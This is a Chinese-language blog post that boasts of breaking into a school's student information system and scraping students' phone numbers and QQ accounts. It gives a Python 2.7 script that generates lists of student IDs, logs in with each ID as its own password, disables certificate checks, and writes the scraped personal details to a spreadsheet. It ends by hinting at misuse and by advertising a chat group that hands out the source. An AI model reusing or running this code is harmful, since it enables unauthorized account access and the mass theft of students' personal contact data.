爬蟲實在是太好玩了！看我是如何獲取整個學校的學生call和qq！
阿新 • • 發佈：2018-06-09
beautiful xlrd 結束 使用 com 指定 https 很好 install 
爬蟲開始前的準備：
- python2.7
- 庫文件（xlwt，urllib2，BeautifulSoup4，xlrd）
安裝庫文件的方法：
最好在你的python2.7/script/下面打開power shell(可以shift+右擊) 執行下面的：
安裝庫文件：
pip install *** ***是指上面的庫文件，下面不一定都用，只要上面的，以後出什麽錯，你就繼續pip install
如何查看自己已經安裝了的庫
pip list
觀察網站結構（密碼規則）：
密碼規則
- 首先這個規則是針對大二和已經畢業了的
- 密碼規則沒有添加驗證碼（其實添加驗證碼也沒什麽用，只是添加了爬取門檻）
- 規則是 用戶名==密碼
- 符合條件
user_info
- 這裏的用戶信息
- 不要在意這些細節（馬賽克） 朦朧美一直是我的追求
sys.setdefaultencoding("utf-8") # ssl這個是驗證證書 https ssl._create_default_https_context = ssl._create_unverified_context # 生成一個存儲cookie的對象 c = cookielib.LWPCookieJar() cookie = urllib2.HTTPCookieProcessor(c) opener = urllib2.build_opener(cookie) urllib2.install_opener(opener)
- 學號的列表
不要在意我是怎麽知道的，
重要的是這些規則，你怎麽去重新寫一個函數代入
（裏面的我修改過，所以不要套用，以免浪費時間）
# 學號只在最後3位不一樣，隨機數xrange（） 可以處理更好的處理大的列表 def user_id(): list_1 = [] for i in xrange(101,249): list_1.append(‘1131050‘+str(i)) for i in xrange(301,349): list_1.append(‘1131050‘+ str(i)) for i in xrange(401,448): list_1.append(‘1131050‘+ str(i)) for i in xrange(501,548): list_1.append(‘1131050‘+ str(i)) for i in xrange(101,150): list_1.append(‘1131070‘+ str(i)) for i in xrange(101,151): list_1.append(‘1131050‘+ str(i)) for i in xrange(201,252): list_1.append(‘1135050‘+ str(i)) for i in xrange(301,352): list_1.append(‘1131050‘+ str(i)) for i in xrange(401,453): list_1.append(‘1131050‘+ str(i)) for i in xrange(101,148): list_1.append(‘1131070‘+ str(i)) for i in xrange(201,247): list_1.append(‘1131070‘+ str(i)) return list_1
- 用戶信息的獲取
這裏用的的是beautifulsoup庫
def user_info():
url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx"
html2 = opener.open(url_info).read()
# python2.7 沒裝lxml的可能會報錯，pip install lxml
soup = BeautifulSoup(html2,"lxml") #以lxml 方式解析抓下來的lxml
infos = soup.select("tr > td > span") # css seletor 來獲取指定標簽
#print profes
# print infos
return infos
- 寫入xls(這個是思路)測試用的函數
因為在寫的時候因為編碼問題，不能寫入中文
def write_user():
file2 = xlwt.Workbook(encoding=‘utf-8‘) #打開一個excel,並且編碼格式以 ‘utf-8‘
table = file2.add_sheet(‘info‘,cell_overwrite_ok=True) #添加一個表
table.write(0,0,"15d中文3s0") # 寫入內容，table.write(row,col,‘value‘)
file2.save(‘file2.xls‘)
- 開始行動：
- 添加上延遲訪問： time.sleep(1)
- 因為爬蟲訪問的不和人一樣，訪問會很快，
- 這樣可以避免被封ip 還有避免給站點帶來不好的影響
def go_user():
user_list = []
user_infos = []
user_list = user_id()
file2 = xlwt.Workbook(encoding=‘utf-8‘)
table = file2.add_sheet(‘info‘,cell_overwrite_ok=True)
r = 0 #row 行
for i in user_list:
c = 0 #col
login(username=i, password=i) #登錄，並傳入列表的學號
user_infos = user_info() #獲取學號信息，格式是字典
for i in user_infos[0:10]: #寫入表單中，循環把信息寫進去
# print i.get_text()
table.write(r,c,i.get_text())
c += 1
r += 1
time.sleep(1) #延遲訪問，可避免封ip，還有影響服務器
print r,c
file2.save(‘file2.xls‘)
程序執行結束：
部分截圖：有圖有真相，避免無知的噴子
學號規則很好找的，這樣就獲取半個學校的call和qq啦，至於能幹嘛，自己腦補。。。
end_info
不知道庫的使用方法，我這裏總結了下，還有不知道的只能百度啦
是不是很強勢？有沒有很裝逼？哈哈哈！
進群：125240963 即可獲取源碼！
爬蟲實在是太好玩了！看我是如何獲取整個學校的學生call和qq！